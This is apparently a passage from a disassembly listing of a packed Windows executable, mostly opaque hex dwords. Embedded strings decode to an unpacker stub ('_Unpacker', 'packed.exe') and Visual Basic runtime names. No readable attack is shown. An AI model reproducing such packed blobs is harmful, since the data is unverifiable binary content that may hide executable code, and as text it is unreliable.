0B27F50F3h, 2A53D9B3h, 0DDDD50C9h, 0FD3AC44h dd 5B755AD5h, 0BC1DEC0Bh, 0C689003Dh, 86F651B5h, 0B32C28F4h dd 0DCF6286Ah, 0BF6E6DF9h, 3A58CA4Fh, 12AD5AEh, 40431188h dd 850456C1h, 0B818E6E0h, 28603213h, 0DB3h, 0BA39B207h dd 0FE7D0E4Fh, 40BFCC93h, 860586D5h, 0CB4A591Bh, 0B49A45Eh dd 0CE8EF978h, 85D13CBBh, 56188302h, 0F0D5C443h, 414C527Dh dd 0F94E8020h, 705FD21Bh, 62264C7Fh, 7240C939h, 64ADF66Fh dd 4C7FDEF1h, 28CBF426h, 264C7F27h, 3192022Bh, 72F1F8C6h dd 5679EC35h, 7C264C7Fh, 0D839420Dh, 0F2626531h, 1C38E4A9h dd 35185AA3h, 0BC5134E4h, 98B439A9h, 0BA2C5329h, 0BB902D91h dd 6DDFB529h, 97389C2Fh, 0C55FC3C8h, 0C23E5F2Ch, 3548087Fh dd 0A1FFCCC5h, 732E51C3h, 0CC70h, 0A3ED9B00h, 6C289F18h dd 2A9AF559h, 5A7143E4h, 4C7FE8E7h, 60C1EA26h, 0EF4789FCh dd 722AB00Fh, 0C3C8973Eh, 0F94045Fh, 264CECF2h, 0CC45541Ah dd 11810A55h, 707B45B0h, 143BAEF7h, 3E264C1Bh, 1B458AFDh dd 648D264Ch, 0A34D9303h, 0EF62DB7Bh, 2C53EDCFh, 579F821h dd 51C43DD9h, 0D5AF7390h, 0A92099C2h, 1C59D8EBh, 61D1DAA5h dd 62079AD8h, 13B9CC6Ah, 9CD008DAh, 1E00000Ch, 66D1505Bh dd 0AA159417h, 0EC57D6E5h, 329D1CAFh, 75E26160h, 9316648Dh dd 0D6E9A914h, 1DA8EC57h, 5E6D339Eh, 980BF0DFh, 20414BB7h dd 1B14699Bh, 391689D2h, 19264C7Fh, 7F024DF0h, 2750264Ch dd 4C6C2EB7h, 861F1FDCh, 34B314CCh, 75F487C9h, 18A3ED4Ah dd 0F84D13B4h, 64BF23B6h, 47138A03h, 3673D444h, 7EEEFDBFh dd 0AB2420ECh, 53A0E038h, 2589B22Ch, 67743BB2h, 8F126203h dd 1239BE2Eh, 41DFB4A1h, 185A9360h, 456D036Ah, 67E75767h dd 732D6889h, 9C36h, 38E46100h, 0A00487D6h, 7659CC45h dd 5C264C7Fh, 0E259D233h, 0FC8FCC91h, 6CDC3D98h, 0A9529E11h dd 0DB042C53h, 0AAF1DA77h, 1E2DFB4h, 3FB2FB34h, 0DFB4AA10h dd 418E0142h, 91DFB4AAh, 17970768h, 732DD539h, 54E6h, 0D91B1100h dd 0CD0F3E0Eh, 699D95Eh, 7BA335A5h, 0E52062DBh, 0C21CE448h dd 0B418ABEAh, 1286F859h, 4ADE5593h, 0B22580F0h, 2C53CABAh dd 0B24FB3DCh, 0DFB54A99h, 0AE0CD9BAh, 732E30D0h, 0DBF467B0h dd 0F7DFB546h, 1FD25ECEh, 0EB000000h, 0FFDBFEA9h, 0B727B8D5h dd 5BD21B6Eh, 0CB268A19h, 4C7F2728h, 92022B26h, 84972h dd 38E4C500h, 9F0386D6h, 7758CB44h, 5B264C7Fh, 0E158D132h dd 4EA90D9Eh, 0F13A83DEh, 4C7F517Eh, 87045726h, 224BC823h dd 0B03E2DB2h, 234C2C59h, 5E6D33AAh, 9F2A74DFh, 0C94D913Bh dd 617FDD50h, 446DD5ABh, 7F0A54CBh, 990EC406h, 2AA1D851h dd 0A0EE59BAh, 6D29A019h, 2B9BF65Ah, 73933BE5h, 33A787FAh dd 86FDDFB6h, 0E544B437h, 0A7D5A2ABh, 0BD640563h, 0F4E0A437h dd 8D3293F4h, 0D8897C7h, 0CC11491Bh, 0EE00000Ah, 36A120ABh dd 7AE56467h, 0BC27A635h, 26DECFFh, 45B231B0h, 636634BDh dd 0A63979E4h, 0EDF8BC27h, 2EBD036Eh, 68DBC0AFh, 20414967h dd 1BE4396Bh, 6DD1D4A4h, 361DA212h, 0F1264C80h, 39B0292Dh dd 0A5006477h, 4467DA35h, 96D3A650h, 38ABF46Dh, 0DFBEB017h dd 41A2123Bh, 8C0501CDh, 0DC404B15h, 43B61181h, 0D5AB6028h dd 51C8416Ah, 92FD7C0Fh, 0FB44BDCCh, 0A9E04788h, 921561D5h dd 1556D32Eh, 0A9E0ADA2h, 1B7CA5D5h, 13BB65ABh, 4D077AF3h dd 8FDFBC31h, 2DA4ED66h, 62EB5B6Ch, 0CD02751Ch, 5CB940Fh dd 0A784E2CBh, 0DE3F3D2Dh, 0CD93FE7Dh, 8FCE45BEh, 0A9F798FCh dd 0B51C122h, 9478636Eh, 789C404Bh, 0F74B6FFh, 0E344EB5h dd 93139808h, 0C5418BADh, 66BBF79Ch, 693B8787h, 9EA31h dd 285D000h, 46591883h, 88135CC7h, 0CEDD9E09h, 1396E44Fh dd 12DB2794h, 57C24140h, 9A058407h, 0E14CCBDEh, 9E8D0C9Fh dd 490946B9h, 17492041h, 0D4A41BC2h, 0A2126DD1h, 0CF48CC10h dd 59AF5F5Ch, 0E9628B2Ch, 418C2C72h, 0D6918808h, 0A61190F1h dd 0C36DD1D8h, 3982FB1Bh, 4AB109F7h, 0D47BB6B7h, 409BFF8Ah dd 0F244BD0h, 0FF6ED5ABh, 71CC30BBh, 5E209710h, 1F61CC4Bh dd 513A0C7Bh, 0D178E8A6h, 3B9F0083h, 50C94D91h, 0BC502FDDh dd 89FC3DDFh, 0CB94B046h, 8902638Ch, 4B84F740h, 87CB94B0h dd 1B65EE5Eh, 0D8A61190h, 0FBD06DD1h, 0A4CB94B0h, 0F063DC78h dd 0C1816137h, 70B9325Bh, 0DF9BB427h, 8EB7C187h, 0A81893E7h dd 0CB4A511Fh, 278B1E60h, 3CB5517Dh, 920FA2C9h, 63C7F0CBh dd 78F115B9h, 0EDDF3D05h, 0D7457FCDh, 0F99F1861h, 0C729CE2Fh dd 0C33BE18Fh, 8F1B9F1h, 8CC90000h, 40117CFBh, 0A55C03Fh dd 0C4970281h, 9FDD48C7h, 0E2208D0Ch, 0B736B507h, 0FA790C4Ch dd 41C0CB8Fh, 820188D6h, 143BAE93h, 3E204148h, 0D21BB70Ch dd 4C7F705Fh, 0C9396226h, 76B7E40h, 69205294h, 0BA1EADEEh dd 853AED5Fh, 0D334B706h, 594DA63h, 30B300A1h, 57642BCCh dd 0C20D80F3h, 10264CF0h, 0B68372E7h, 8F5CF595h, 0D4536628h dd 358A9472h, 74379h, 566E0000h, 4BEh, 0D06F52A9h, 1C8F080Ch dd 2C53AB4Ch, 57CF51Eh, 0C78930BBh, 81DE44B4h, 0A084E0h dd 0ECFFBF36h, 7CCF0073h, 0DA0300A1h, 1034D86Ah, 4E512097h dd 74D8D3A7h, 0DB4EA919h, 0ABEB323h, 0FEA80C35h, 4ABD36DEh dd 0CB32860h, 0AAF3C332h, 1671D5E4h, 84F651B5h, 94E34CA0h dd 0D049AA37h, 5841759h, 0FAB4D49Ah, 3842BD57h, 668E3394h dd 36FA8D52h, 7FD2C64h, 0F8BD0000h, 0B40570EFh, 649B433h dd 0C88BF675h, 83D13CBBh, 0EE148100h, 0B332B103h, 0F6750848h dd 3DBCCF8Bh, 7EFD8CD2h, 1837AA8Fh, 3A204147h, 0A3EDB308h dd 0FF41B418h, 0BE81B23Ch, 17A01011h, 8BCD4645h, 51EBFBB6h dd 4D5E1D04h, 0BD2D8EE9h, 2024E85Ch, 0BCCD34A7h, 648D2C59h dd 561A9EBh, 8BC67762h, 749C01Bh, 1596E55Ch, 9CB356B1h dd 0B6DFBEAFh, 42AD2C8Dh, 5F096D7Ch, 0A71E97BFh, 863D3D8h dd 0F557DBFh, 54F4C096h, 42505FE4h, 5982D5ABh, 832769E0h dd 213A01F9h, 1594F50Bh, 4ABDE4AAh, 0D5A98D05h, 0A91DE4Dh dd 89EA4BA6h, 150C710h, 1CBF1A7Eh, 0D5A98D33h, 4086F61Fh dd 73718BCDh, 0B2085EB2h, 0E8FBB942h, 0B37AD943h, 0CF07D913h dd 727h, 46C5C693h, 8A099ADBh, 0CC4B501Fh, 12911261h, 57D6D5A7h dd 8FCD18EAh, 42127DFCh, 155C03Fh, 0D29C0786h, 745948C7h dd 4146CE01h, 7DD20420h, 0CFDAA41Bh, 501CD5Fh, 0AF16198Ch dd 133C2C59h, 5251239Ah, 4E1087E2h, 0F51BC3Bh, 0AE6E187Ch dd 44EB2DA6h, 4540143Ah, 0CE1486E1h, 97F26211h, 0A1B73824h dd 6C113AD5h, 13BD6A98h, 0B4629A6Ch, 6000006h, 4EB938B3h dd 92FD7C0Fh, 0D43FBECDh, 1A850487h, 5DCA4958h, 7B0E4CA5h dd 0BEC191FCh, 580D43Fh, 46551B86h, 80F3D8C7h, 2041454Fh dd 1BFC5183h, 7F705FD2h, 3962264Ch, 537E40C9h, 4C7FEFE0h dd 59BAE326h, 404082F5h, 0B53C839Fh, 0D7992292h, 4EB0BEB3h dd 0BA157900h, 2362D348h, 2BC45EC2h, 22A9F75Eh, 0C84267A9h dd 0EFFE324Fh, 37FF9102h, 0B6288938h, 0C650340Dh, 49AA1A35h dd 353F09E7h, 0CB679h, 56E10000h, 272h, 50532097h, 0A3ED97E0h dd 0C20AB418h, 5956C942h, 792C59B0h, 1866D150h, 0D2A11891h dd 7A1B61D1h, 7D4B9838h, 45CF71CAh, 0E62865E4h, 0A15BA858h dd 0B143B35Bh, 0FD70E96Dh, 0D5ABCB13h, 428D0041h, 90D5A949h dd 168D0667h, 57C24148h, 7D1E8209h, 0BC33AC3Fh, 2C87EBFEh dd 0CC76BCh, 14188B04h, 3EDFB6BDh, 57667015h, 0A0720D88h dd 5B668h, 36B10400h, 7A0D4CB7h, 0BCCF90FBh, 281D23Dh dd 475A1883h, 3EA75BC8h, 83EE6D7Ch, 0C631B033h, 0D78F7F2h dd 0CAB93843h, 445D72E5h, 43752041h, 18A3EDEEh, 0D45C5D9Fh dd 0D2500655h, 429D0180h, 0B82B71E1h, 632C7541h, 3893F758h dd 6A713FC8h, 6D36C06h, 3FB2D19Fh, 264C2410h, 39B81942h dd 355AF9D7h, 7A679h, 56D10000h, 11Ah, 18A3EDA9h, 567D6B73h dd 71A97BE0h, 537h, 36B53683h, 7AF98ACBh, 0BC3B400Fh, 2810251h dd 47C6C597h, 0FFBD28DAh, 0B2026DECh, 7145B02Fh, 0C28CF776h dd 644938B7h, 4144DEF1h, 6DC2F420h, 705FD21Bh, 62264C7Fh dd 7E40C939h, 2EB0F26Bh, 302D3159h, 0E889CF3Fh, 15AF13A6h dd 648AF7Ch, 0B492F473h, 63793539h, 17h, 5FD21B8Eh, 264C7F70h dd 0A9C93962h, 9Eh, 9856FCh, 1BA90000h, 6ED2D5A4h, 0CD11A313h dd 525DD049h, 802C59B0h, 8549F357h, 69950881h, 0EBD5A14Dh dd 0B7871DC2h, 29FB13BDh, 49AF1h, 52552000h, 962968D3h dd 0D8E3AC17h, 1EADEE59h, 6366349Fh, 628B77E4h, 0A7129110h dd 0EA55D4D7h, 319C1BAEh, 0EEDD5C6Fh, 43B99609h, 67992041h dd 1C38E412h, 9DE35AA3h, 0EDA094FDh, 298A8070h, 577334B9h dd 0E1232C53h, 38EE5FEDh, 7DDC4CD9h, 1B92DB54h, 51DA4A59h dd 97FE7D0Eh, 0DFB5A8BBh, 1F9E2D73h, 7CE0EBB4h, 42E44h dd 38E49700h, 0E75AA31Ch, 264C7FE8h, 7F547BEEh, 557E264Ch dd 0E43FAFD8h, 59B07E71h, 0DC4F982Ch, 0DFBEB0F3h, 0E746B6DFh dd 6CB05ABEh, 442D6FE8h, 0E9E5BDE0h, 79EC47B7h, 0D5A19D85h dd 5501A6CFh, 0E913BD67h, 3E5DF17h, 80D50000h, 5C1D8807h dd 1E61CC4Bh, 0D0A30E8Dh, 0ABE954D3h, 0D62C9918h, 0CB4A591Bh dd 0E8D1060h, 55D4D7A3h, 9615A4EAh, 4FC2A7h, 52204143h dd 38E4CB20h, 330A31Ch, 4F2C59B0h, 0A80C9FE0h, 4789DB4Dh dd 98BC448Ah, 7947BE37h, 0AAB7F972h, 641F7785h, 35A00171h dd 1DB34F6Bh, 6A681674h, 57199009h, 1585E044h, 17F925CFh dd 83DE4249h, 1E60A922h, 8EA286A7h, 2DB222C6h, 0D5AB62AFh dd 0A41B94BDh, 0E550CFDAh, 2AC109Bh, 78C13ADAh, 0BB2DBE01h dd 6612C1D1h, 850A7AD8h, 0DFB65AA5h, 0B729CEF7h, 0F30D88D4h dd 339E921h, 34810000h, 88C934B3h, 420D78F7h, 0C4FBA39h dd 0C795007Fh, 2AD845C4h, 6FEEFDBFh, 0B231B404h, 0F9787347h dd 3AB9C08Eh, 0DCF3664Bh, 0F6204142h, 0A3ED6FC4h, 65D9F18h dd 551807ADh, 17B8FE6Eh, 87C94249h, 51D2CA91h, 94F56587h dd 0DF58FC20h, 53026C6Ch, 410F7E2Ch, 1A7BD63Ah, 23219B6h dd 4021DFB5h, 0F3C33A73h, 790A49F0h, 7CAB8909h, 4658732Eh dd 83000000h, 85D638E4h, 0E647A206h, 0AFD6FA6Dh, 0D7002C53h dd 0AFFDD673h, 0E1B3DFB4h, 93DD7EE2h, 0A249A408h, 0C43B6DDh dd 46DFB4AFh, 0D458BC1Dh, 9609420Fh, 0DFB4AFB9h, 930F7099h dd 0A987E5B2h, 56732DCBh, 0FDh, 7A3ED81h, 0B60748DAh, 3FA30450h dd 69CDDC9Eh, 8FF386C8h, 6F60D31Ch, 63264C25h, 0AFDC83Ah dd 75E9ADBCh, 0A7327C05h, 2FA2EB28h, 264C8F20h, 14990932h dd 264C7409h, 8439511Fh, 77C4C53Fh, 13EBD1Eh, 0C61485BFh dd 7CEC0998h, 0BA1EADF3h, 15BA0547h, 0BEF67DFBh, 4E74CAB1h dd 0D141A20Eh, 0FE779F3Fh, 53A5E38Bh, 8DFB352Ch, 0C8DB99B7h dd 0F4970964h, 2AA90A8Bh, 0E85BA4EDh, 0DFB4EEE7h, 301FC2EBh dd 2DDFB4EEh, 6BC5364Ch, 97C03D0Ah, 0CD499527h, 0D898E154h dd 0B1DAD5AEh, 0F0F3C138h, 35B40671h, 0B93B3090h, 7AB28413h dd 1CFh, 9E1DAEEBh, 0E2616233h, 24A32877h, 6AE9FAB9h, 0AF2EBDFFh dd 5725C042h, 2A6AD554h, 0E9AD1897h, 0AAF45FDEh, 0CCB1A01Fh dd 41417659h, 0D52A5C20h, 88D6AFEDh, 89EAF9BBh, 0F069CA25h dd 40A43779h, 0A91475E5h, 0BDCC8EE7h, 1E9DFE59h, 438E4F3h dd 4C7FBE91h, 475A9426h, 0EF635A7Ch, 3CB51677h, 80F0FBC5h dd 4E9EB225h, 45BC2C53h, 88FB7477h, 0DFB5CE47h, 93F2628Bh dd 3B7AF16Ah, 79E944A8h, 0CEBD9633h, 2D73DFB5h, 0DA993A9Eh dd 0E61765C9h, 9B7CF819h, 5C1E95CEh, 7F5DDD4Dh, 2C732EACh dd 0B2h, 18A3ED57h, 424113B4h, 0C20D80C9h, 10264C7Fh, 0BE3177E7h dd 7777447h, 4C847F82h, 0B8C38D26h, 0F980CE39h, 2323EB95h dd 5EBF37AAh, 0B8E1D3ACh, 0F588C83Fh, 65C63691h, 0B0292DF1h dd 0AEFCC73Dh, 522299D5h, 5780DF4Fh, 0B1709CDEh, 789F2273h dd 6436AD08h, 397BE665h, 0DD4705AAh, 0E9BB13B9h, 0C6B1h dd 26A1F400h, 6A7D3CA7h, 0AC3F80EBh, 0F2F1C22Dh, 374A0873h dd 2EB74BB8h, 73DE5D6Ch, 0B621A023h, 0FD68E7E2h, 0BAA928B3h dd 3F6D62D5h, 33652041h, 1CAFEDDEh, 5C6F2CA3h, 0A4F69DF8h dd 0E954B525h, 529B14A7h, 4C7FF0DFh, 49B9E226h, 0A3EDBDE8h dd 4D13B418h, 834BBF3Eh, 29970A83h, 2B2C59AEh, 0B3FD9E02h dd 680F92E2h, 0B5349528h, 1175044Ah, 54D04274h, 0BB88B9D1h dd 7F0A54h, 5CC0CB95h, 222DA0E9h, 30D1D530h, 4D0E9707h dd 309CB326h, 47BAD1D5h, 0D1D53008h, 35A4214Ah, 9F00616Ah dd 25F2B73Bh, 6AE9F0BEh, 9F12B1FFh, 0D1D530B0h, 301C33A6h dd 0D36D1D5h, 0F1C06790h, 0F1298DEEh, 3, 0ED956A44h, 1ABB1FA8h dd 40E14554h, 6C0D7174h, 9435992Ch, 0BE5FC3C6h, 0E889EDFCh dd 13B418ABh, 3ADB3F4Ch, 9004687Bh, 52E38953h, 8178C7BAh dd 8EAC15Ch, 7E8CC281h, 0D301FFA3h, 4EB835Ah, 5C241C87h dd 81E38953h, 4C3h dd 4EB8300h, 5C241C87h, 68241C89h, 7261h, 0BB242C89h, 5E315D52h dd 4D1AC381h, 0CB8105D9h, 34BE53FCh, 0BFC3814Bh, 811DFC75h dd 7011E0EBh, 81D3F770h, 360DF7F3h, 0B5EB8126h, 813BFF14h dd 899895C3h, 2D0D6846h, 24890000h, 24048124h, 4, 382E685Dh dd 0C890000h, 8B924h, 0E9010000h, 0FF591989h, 835D2434h dd 1C8B04C4h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h dd 0FAFEF1E9h, 89465AFFh, 40F2B81Dh, 0C503060Dh, 609FE0FFh dd 0FF492D16h, 27535B11h, 0AFFD2F34h, 55452258h, 2FC72899h dd 4C6263A5h, 66E9585Ah, 56000001h, 0C525F0C9h, 4377E705h dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh dd 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 2 dup(0) dd 1B76E900h, 43680000h, 0E9060D45h, 0FFFA382Ah, 0D462068h dd 3820E906h, 2368FFFAh, 0E9060D47h, 0FFFA3816h, 0D47DE68h dd 380CE906h, 1D68FFFAh, 0E9060D48h, 0FFFA3802h, 0D493C68h dd 37F8E906h, 9668FFFAh, 0E9060D49h, 0FFFA37EEh, 0D49E468h dd 37E4E906h, 2768FFFAh, 0E9060D51h, 0FFFA37DAh, 0D51BA68h dd 37D0E906h, 6668FFFAh, 0E9060D52h, 0FFFA37C6h, 0D539568h dd 37BCE906h, 868FFFAh, 0E9060D54h, 0FFFA37B2h, 0D54C268h dd 37A8E906h, 6F68FFFAh, 0E9060D55h, 0FFFA379Eh, 0D565968h dd 3794E906h, 0C768FFFAh, 0E9060D5Bh, 0FFFA378Ah, 0D5CD168h dd 3780E906h, 7668FFFAh, 0E9060D5Dh, 0FFFA3776h, 603E1DFAh dd 0FBD98292h, 9A78E32Dh, 371546CCh, 0D1AFAC69h, 74A13636h dd 0DB3B09E7h, 3FD4A280h, 0A1703E1Ch, 260ADCBAh, 0D4AEBD9Fh dd 0C9684284h, 2B4E0D04h, 4C2EB52Dh, 8A7EC76Bh, 0A8EBD08Bh dd 4B1001C5h, 0A87EE36Dh, 7B683BC2h, 0AAED78C0h, 5BA47A87h dd 36DA78C0h, 55BE0225h, 0AED18A89h, 561538E7h, 562A694Eh dd 592CD3A8h, 32E48FC5h, 47h, 8CD14859h, 0EAB1D487h, 0E30655BEh dd 876D1Ch, 78BF9B29h, 0BF7D63A6h, 1FE60952h, 0C583813Ch dd 9A270A51h, 78C03BC4h, 214417FAh, 52833DDh, 3D99DEA6h dd 985F82D9h, 106715E9h, 8FE19AEBh, 0E0F1E4h, 4180000h dd 0E72B4E0Dh, 7661B02Eh, 0A58179E0h, 0F013C2D9h, 59577A29h dd 0BFE2799Bh, 0C05115F8h, 0DD34789Bh, 5A18A07Eh, 0BA81A4B7h dd 36E04AD7h, 0B35E7EC8h, 15FCCAA8h, 90D871C2h, 1DF38635h dd 0FAE08F3Eh, 6CDA8435h, 0CC93B6A5h, 3B17EA99h, 0DA9F9D58h dd 0FECE7577h, 50D0B3B8h, 0B32B11C9h, 1C3F1CF5h, 0FA1D3ED8h dd 14A18433h, 78C0BA21h, 70EB26E6h, 0C059E3C1h, 70AD341Ah dd 0AD72B654h, 4FC6846Ah, 0B5602E0Ch, 0ADCA6FA6h, 0D63717A9h dd 18DDDAh, 8BD04700h, 2635DFADh, 0C5967A48h, 62F919E7h dd 0FC5FB684h, 0EEE9831Eh, 88563427h, 21EFCD8Eh, 0BD8B69F2h dd 57290754h, 0B00AEC73h, 0B58F84D4h, 848C4A16h, 0AEDB4D7h dd 0AE8CCF46h, 6CF331E0h, 7EC76B8Ah, 0F01348C8h, 52014429h dd 0D1480574h, 0C59C2309h, 4278BF9Bh, 0F9CFDCFFh, 8778C03Ah dd 0AEC73EBh, 8F78C03Bh, 0E2D9694Ch, 8FE1285Dh, 0AB63E4h dd 48A0000h, 0F0684E0Dh, 0C76B8769h, 9DC90C7Eh, 0F9C0E378h dd 0FE175B16h, 22536E0h, 0B0F9083Bh, 46B41FA8h, 0FD677497h dd 7B7EC7B9h, 19E7C596h, 404063F8h, 941B01D9h, 78C0B9A1h dd 0F06BA666h, 40D96341h, 0F92DB49Ah, 3E72B64Fh, 0BE5715FBh dd 0C5F2B79Dh, 3AA9C0Fh, 0D4A218FBh, 0A0E31A41h, 0A117A9A2h dd 18004440h, 0F3240000h, 58BC8A68h, 0B9572503h, 1CF6C4A2h dd 8293613Fh, 0C60FBD9h, 33114ACBh, 0CCAAB165h, 684615FEh dd 6E4779Ah, 0E7C95034h, 6C84D4B0h, 1104F392h, 739E6C4Ah dd 38A02E8h, 7EC76B21h, 0A8063A6h, 4E0D049Bh, 312AE72Bh dd 57878D4Bh, 0B67DA0BBh, 3A1DE407h, 0FF273AC4h, 77DCA119h dd 5CE6D25Eh, 688BD046h, 820FF2A1h, 78C05D33h, 0EB0CE9B0h dd 0D00613D5h, 33662A0Fh, 7C2BE14Eh, 2A764C59h, 560478C1h dd 0F6ABDA61h, 0E5A3E48Eh, 460D302Bh, 0B12263h, 0F3490000h dd 0A179E0E5h, 975134BBh, 93D678BFh, 9C49E8ADh, 8BE93A18h dd 0C5AD20A8h, 8144241Ch, 290C4FC3h, 846AB0A9h, 1CFAF2FDh dd 0D937F79Eh, 0E8224F82h, 1A6BFD03h, 0D148486Bh, 73694BD2h dd 0ABEE9E1Dh, 0DA8F16FCh, 179812F0h, 0B176EED4h, 8FEF83F2h dd 3D01E42Ah, 0DBA987D4h, 0EE6DA836h, 0B485083Fh, 5BBCF24Dh dd 16FD5Fh, 6BF02700h, 655BF8Dh, 0A5B65A28h, 4219F9C7h dd 0DC7F9664h, 0CE0963FEh, 68361447h, 1CFADAEh, 9D6B4912h dd 3709E774h, 0B1EACC53h, 956F84D4h, 4E0D04F6h, 0F16AAA68h dd 0CE53530Eh, 5CAB3218h, 0D978BF97h, 0F349B896h, 0A179E0E5h dd 975134BBh, 93D678BFh, 36BD35ADh, 78C03F54h, 0BFA196D9h dd 4478C03Fh, 1F3CD501h, 0CA5235FCh, 973C8357h, 0C61C05F1h dd 54A368E0h, 0F5CC2DEFh, 9DCAACA1h, 0C4FF196h, 1924AB29h dd 1EEB8ECCh, 0DC37F5DBh, 0E1E19C7Fh, 35BCA278h, 0E584E980h dd 0DBBD44BCh, 60E584F0h, 7ABD3A1Dh, 203BD694h, 0BE9D7442h dd 0DBBA1087h, 0D4D031A4h, 1642h, 482635E2h, 0E3C19A7Ah dd 8260FB15h, 1FFD5EB4h, 0B997C451h, 8C894E1Eh, 0F323F1CFh dd 57BC8A68h, 0B9582604h, 0EF2C4A2h, 0D4B2A587h, 0B1502A84h dd 174E0D04h, 0B993F4Ah, 35A56B7h, 21000016h, 0B98765F6h dd 5422005Bh, 0F3C19FBCh, 905E3C1Fh, 5DF8D685h, 0E4DC80Fh dd 0A7B46230h, 4318FBC9h, 0E17A9765h, 0C64D3103h, 84D4B2E4h dd 4F08F69h, 0AA684E0Dh, 0BD9E746Ah, 4124EB0Eh, 4B938686h dd 8466ED65h, 97EC76Bh, 0DE65E3C6h, 78BF98E3h, 0A88765A8h dd 0CE938663h, 2AE91546h, 159C8231h, 72B86532h, 0D5B73EB6h dd 5A72B90Ch, 74B73417h, 0B0622084h, 38A88ABh, 72B90D21h dd 0D1B463A6h, 0FC3DC44h, 5B8396F6h, 82E3EE75h, 21E8D008h dd 6C23DE4Eh, 0F71AC9FAh, 1D63BF9h, 0D518FE7Bh, 5E81300Ah dd 2D34B497h, 65537BEh, 97DAD009h, 128A02E8h, 906A98Bh dd 0F6EB2ED0h, 0D0090614h, 0F5735699h, 0FE83B96Eh, 57DF5C9h dd 0FE8B9C7Eh, 0E9DE21C9h, 0C9FE8B07h, 0E966498Ch, 19EAED29h dd 0C61EC822h, 2BB29847h, 0C9FF5149h, 0F6DC8BCEh, 0A482D938h dd 0F4AC571Ch, 5A5F968Dh, 0FF2A1BAh, 0D75EC64Bh, 0C9FF53F5h dd 4404377Ah, 0C33D257Ah, 0AFBCF3A2h, 52C061DBh, 14E4F5F1h dd 0D7400000h, 3CD8A684h, 9D73411Fh, 12E0BEh, 66AF7D5Bh dd 0F07C17F5h, 4F2D2EE7h, 0E8C69581h, 8462F91Ah, 22005BB6h dd 3E56C50h, 8884D4B4h, 593B0FAEh, 0CE7EC76Bh, 7EC77AF8h dd 0FF5CB674h, 0A53215DCh, 7EC76ACFh, 0C74B663Ch, 0E6759C7Eh dd 995FC6AFh, 0DEDA3B0Bh, 148Ah, 0DE7D9Ah, 9B79E232h, 3A1843CDh dd 0D7B5A66Ch, 714F0C09h, 0D44196D6h, 3BDBA987h, 9F744220h dd 110DEBCh, 0C6AA7C5Ah, 0D4B45D3Fh, 6908E284h, 1D85D148h dd 6B4BFE33h, 8209EF9Eh, 78BF9EBFh, 0F58AC104h, 0C11A05Ch dd 143CAFABh, 2FE80000h, 94804E2Ch, 0F51BE9C7h, 58BA8866h dd 0BE572503h, 4824BF9Dh, 0F7D5868Fh, 906EED29h, 2C0A51C2h dd 0CAA8B35Eh, 0AB8D14F8h, 3084D4B4h, 854AB756h, 0A617E67Ah dd 6B4DD41Dh, 0F07EC821h, 9118FEADh, 7EC821AFh, 4A0EF134h dd 2D7194C7h, 0C717FAE4h, 0B362114Ah, 94C74C90h, 78E32D71h dd 83F82C55h, 0C3B89AD4h, 87FF493Ch, 1C42DEh, 3B690000h dd 7EC76B65h, 7E5769Bh, 6BED1B70h, 0ADABCE7Eh, 573A21EFh dd 13B1DBh, 0D047800h, 362B2B4Eh, 0A8830AF0h, 2C78C06Ah dd 6A4B2DB4h, 8C8978C0h, 0ED23EACFh, 680BC6BEh, 5FDCBF6Eh dd 0ADB43E1Ch, 1D088F75h, 0E272B939h, 0D8387C9Fh, 9E259D83h dd 72B929BCh, 0A51BFE41h, 0AAB15F1Dh, 295B3DC4h, 9DE072B9h dd 29562DBAh, 14D272B9h, 733A5DFEh, 1348CC90h, 2AAD6735h dd 7352E693h, 0A1873662h, 0ADC0A229h, 24572B8h, 0F420641Fh dd 7D854467h, 0EC38DC06h, 0AD0BED74h, 4D9072B8h, 0B8AD7658h dd 0CC1AAD72h, 0BAC5D5C7h, 0AA6692D5h, 7B2402B1h, 0EA974D0Ah dd 20981h, 0D148A800h, 0D99C2309h, 1E78BF85h, 0A074B8DBh dd 2310D5BBh, 2DDCFEACh, 0AD84E31h, 212E510Ah, 78C0394Bh dd 0C713689Ch, 6A280E4Dh, 0C88FB2A9h, 7CE56FE5h, 1906E86Fh dd 488B78C0h, 152CB399h, 1272B91Dh, 0EA71E9CFh, 72B91508h dd 0AC674A8Dh, 3625F0AEh, 0A5694C13h, 3F0DEB70h, 556285D6h dd 72B9157Dh, 0F9259ACEh, 0D7613F1Ch, 3EB69C42h, 155D3FC6h dd 769B72B9h, 8ABD00E5h, 637391B2h, 18A588C4h, 6CB25681h dd 0FF4BB87Dh, 1F1EDA96h, 597CBF3Ch, 815FFC15h, 96805EB3h dd 0E6F316C5h, 6CB22104h, 8852295Dh, 26F4D289h, 0C9876DEEh dd 742F1249h, 5477E430h, 0EC368D95h, 8F4D3328h, 0EEB5D883h dd 4F0D950Bh, 0AF7699C2h, 0FB582DCCh, 0A633F09Dh, 41000000h dd 0EACD8E83h, 4A110485h, 2932E327h, 783F4706h, 0A967779Eh dd 6B12F47Bh, 54977EC7h, 0CBB82A5h, 0B600852Eh, 894EDE88h dd 0A0DF6602h, 37D905E2h, 6E004124h, 27000000h, 2B4E0D04h dd 0B9A26F2Dh, 5CFF12D6h, 0D727A39h, 0CD9740D1h, 0FA61B545h dd 15AA70C7h, 113427E9h, 3DB59B4Ah, 0C774D4B6h, 3316597Eh dd 36BD35BDh, 7EC77554h, 14B396D9h, 0DE88AB71h, 2C1Ah dd 0D1484100h, 0EDAB2309h, 0C5523526h, 78C0712Eh, 0B8C5E82Bh dd 78C061E2h, 67FDC270h, 0D1F467A9h, 0FD88270Ah, 8EE48FBEh dd 8Eh, 4BD24AB5h, 7EC76B69h, 0BED74EEh, 907EC76Bh, 9F729E4Dh dd 0C059D9BCh, 0FEBC341Ah, 0D9664912h, 78C06F5Eh, 79BDE023h dd 14E2C09Bh, 3A385B00h, 4E0D04C2h, 8D6F642Bh, 1278C068h dd 7EB4A54Bh, 63124FFFh, 358BC80h, 0A21921E0h, 0E1BF9C78h dd 8FD84D38h, 0CF4301E4h, 0BFA2698Ch, 277Eh, 0D748A500h dd 0A0A2290Fh, 65FEC76Bh, 1CF2FF22h, 8AFEC76Bh, 5CBFA71Ch dd 1719A086h, 0DC7EC76Bh, 735BB99h, 0D2000000h, 374Ch dd 